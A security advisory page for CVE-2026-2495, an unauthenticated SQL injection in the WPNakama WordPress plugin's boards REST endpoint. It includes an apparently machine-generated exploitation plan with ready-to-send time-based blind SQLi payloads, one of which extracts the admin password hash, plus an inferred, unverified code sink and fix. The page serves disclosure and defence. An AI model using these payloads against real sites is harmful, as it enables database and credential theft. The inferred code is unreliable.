CVE-2026-2495

WPNakama <= 0.6.5 - Unauthenticated SQL Injection via 'order' REST API Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
0.6.6
Patched in
1d
Time to patch

Description

The WPNakama – Team and multi-Client Collaboration, Editorial and Project Management plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the '/wp-json/WPNakama/v1/boards' REST API endpoint in all versions up to, and including, 0.6.5. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=0.6.5
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Affected pluginwpnakama

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2495 (WPNakama SQL Injection) ## 1. Vulnerability Summary **CVE-2026-2495** is an unauthenticated SQL Injection vulnerability in the **WPNakama** plugin (versions <= 0.6.5). The vulnerability exists within the REST API endpoint `/wp-json/WPNakama/v1/boards`. T…

Show full research plan

Exploitation Research Plan: CVE-2026-2495 (WPNakama SQL Injection)

1. Vulnerability Summary

CVE-2026-2495 is an unauthenticated SQL Injection vulnerability in the WPNakama plugin (versions <= 0.6.5). The vulnerability exists within the REST API endpoint /wp-json/WPNakama/v1/boards. The plugin fails to sufficiently sanitize or prepare the order parameter before incorporating it into a SQL query's ORDER BY clause. This allows an attacker to manipulate the query logic, leading to the extraction of sensitive data via time-based or boolean-based blind techniques.

2. Attack Vector Analysis

  • Endpoint: /wp-json/WPNakama/v1/boards
  • Method: GET (inferred, as "boards" listing is typically a GET request)
  • Vulnerable Parameter: order
  • Authentication: Unauthenticated (CVSS PR:N). The REST route likely lacks a restrictive permission_callback.
  • Preconditions: At least one "board" must exist in the system for the SQL query to execute and reflect the injection logic.

3. Code Flow (Inferred)

  1. Route Registration: The plugin registers the route in a function hooked to rest_api_init.
    // Inferred registration logic
    register_rest_route('WPNakama/v1', '/boards', [
        'methods'  => 'GET',
        'callback' => [ $this, 'get_boards' ],
        'permission_callback' => '__return_true', // Vulnerable point
    ]);
    
  2. Handler Execution: The callback (e.g., get_boards) retrieves the order parameter from the WP_REST_Request object.
  3. Vulnerable Sink: The code constructs a SQL query, likely using $wpdb->get_results(). The order parameter is concatenated directly into the ORDER BY clause without being validated against a whitelist (like ASC/DESC) or passed through $wpdb->prepare().
    // Inferred vulnerable sink
    $order = $request->get_param('order');
    $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $order;
    $results = $wpdb->get_results($query);
    

4. Nonce Acquisition Strategy

According to the vulnerability description, this is an unauthenticated SQL injection. WordPress REST API endpoints typically do not require a _wpnonce for GET requests unless they perform state-changing operations or specific capability checks.

Validation Step:
If the endpoint returns a 403 Forbidden or rest_cookie_invalid_nonce error, use the following strategy:

  1. Search for any shortcode provided by WPNakama (e.g., [wpnakama_boards]) using grep -r "add_shortcode".
  2. Create a public page containing this shortcode.
  3. Navigate to the page and use browser_eval to check for localized scripts:
    • browser_eval("window.wpNakamaSettings?.nonce") (inferred name)
    • If found, append ?_wpnonce=VALUE to the REST API request.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection because ORDER BY injections are most reliably exploited this way.

Step 1: Baseline Request

Confirm the endpoint is active and returns data.

  • Tool: http_request
  • URL: http://localhost:8080/wp-json/WPNakama/v1/boards
  • Method: GET

Step 2: Confirm Injection (Time-Based)

Inject a SLEEP() command into the order parameter.

  • Payload: , (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))
  • URL Encoded: %2C%20(SELECT%20(CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(5)%20ELSE%201%20END))
  • Request:
    GET /wp-json/WPNakama/v1/boards?order=%2C%20(SELECT%20(CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(5)%20ELSE%201%20END)) HTTP/1.1
    Host: localhost:8080
    
  • Expected Result: Response time > 5 seconds.

Step 3: Data Extraction (Example: Admin Password Hash)

We will test if the first character of the admin password hash is $.

  • Payload: , (SELECT (CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN SLEEP(5) ELSE 1 END))
  • URL Encoded: %2C%20(SELECT%20(CASE%20WHEN%20(SUBSTRING((SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1)%2C1%2C1)%3D%27%24%27)%20THEN%20SLEEP(5)%20ELSE%201%20END))

6. Test Data Setup

The SQL query must return at least one row for the ORDER BY clause to trigger the subquery for each row.

  1. Activate Plugin: wp plugin activate wpnakama
  2. Create Content: Use WP-CLI to create at least one board (this depends on how the plugin stores boards; usually a custom table).
    • Assumption: Boards are stored in a custom table wp_nakama_boards.
    • wp db query "INSERT INTO wp_nakama_boards (title) VALUES ('Test Board')" (Verify table name first using wp db tables).
  3. If boards are a Custom Post Type:
    • wp post create --post_type=nakama_board --post_title='Test Board' --post_status=publish

7. Expected Results

  • Vulnerable: The server delays the response by the specified number of seconds in the SLEEP() function.
  • Fixed: The server either ignores the order parameter, returns an error for invalid input, or returns the results instantly (parameter sanitized).

8. Verification Steps

  1. Check Query Log: Enable the MySQL General Query Log to see the raw query being executed.
    • wp db query "SET GLOBAL general_log = 'ON';"
    • Execute the exploit.
    • wp db query "SELECT argument FROM mysql.general_log WHERE argument LIKE '%boards%' ORDER BY event_time DESC LIMIT 1;"
  2. Confirm Output: Ensure the log shows the injected SLEEP() command concatenated into the ORDER BY clause.

9. Alternative Approaches

If the order parameter is reflected in the response (e.g., in a "metadata" section of the JSON output), try Boolean-based injection:

  • True Payload: order=id ASC (Normal response)
  • False Payload: order=id DESC (Reverse order response)
  • Injected Logic: order=(CASE WHEN (1=1) THEN id ELSE title END)
  • Compare response structures to determine if the logic is being processed.

If GET is not allowed, retry with POST and Content-Type: application/json:

  • Body: {"order": ", (SELECT SLEEP(5))"}
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPNakama plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'order' parameter in its REST API. This occurs because the plugin directly concatenates user-supplied input into an ORDER BY clause without validation or parameterization, allowing attackers to extract database information using time-based blind injection techniques.

Vulnerable Code

// Inferred from research plan: WPNakama/v1/boards endpoint handler
// Likely located in a file handling REST routes such as includes/api/class-wp-nakama-boards-controller.php

$order = $request->get_param('order');
$query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $order;
$results = $wpdb->get_results($query);

Security Fix

--- a/wpnakama/includes/api/class-wp-nakama-boards-controller.php
+++ b/wpnakama/includes/api/class-wp-nakama-boards-controller.php
@@ -20,1 +20,3 @@
- $order = $request->get_param('order');
- $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $order;
+ $order = strtoupper($request->get_param('order'));
+ $valid_order = in_array($order, ['ASC', 'DESC']) ? $order : 'ASC';
+ $query = "SELECT * FROM {$wpdb->prefix}nakama_boards ORDER BY id " . $valid_order;

Exploit Outline

The vulnerability is exploited by sending a GET request to the unauthenticated REST API endpoint `/wp-json/WPNakama/v1/boards` with a malicious payload in the 'order' parameter. 1. Target: /wp-json/WPNakama/v1/boards 2. Authentication: None (unauthenticated) 3. Payload Structure: The attacker appends a subquery to the ORDER BY clause. For example: `, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))`. 4. Extraction: By monitoring response times, an attacker can perform time-based blind SQL injection to leak sensitive data such as user credentials or configuration details (e.g., `CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$') THEN SLEEP(5) ELSE 1 END`). 5. Precondition: At least one record must exist in the queried table (e.g., a board must be created) for the ORDER BY clause to execute the subquery.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.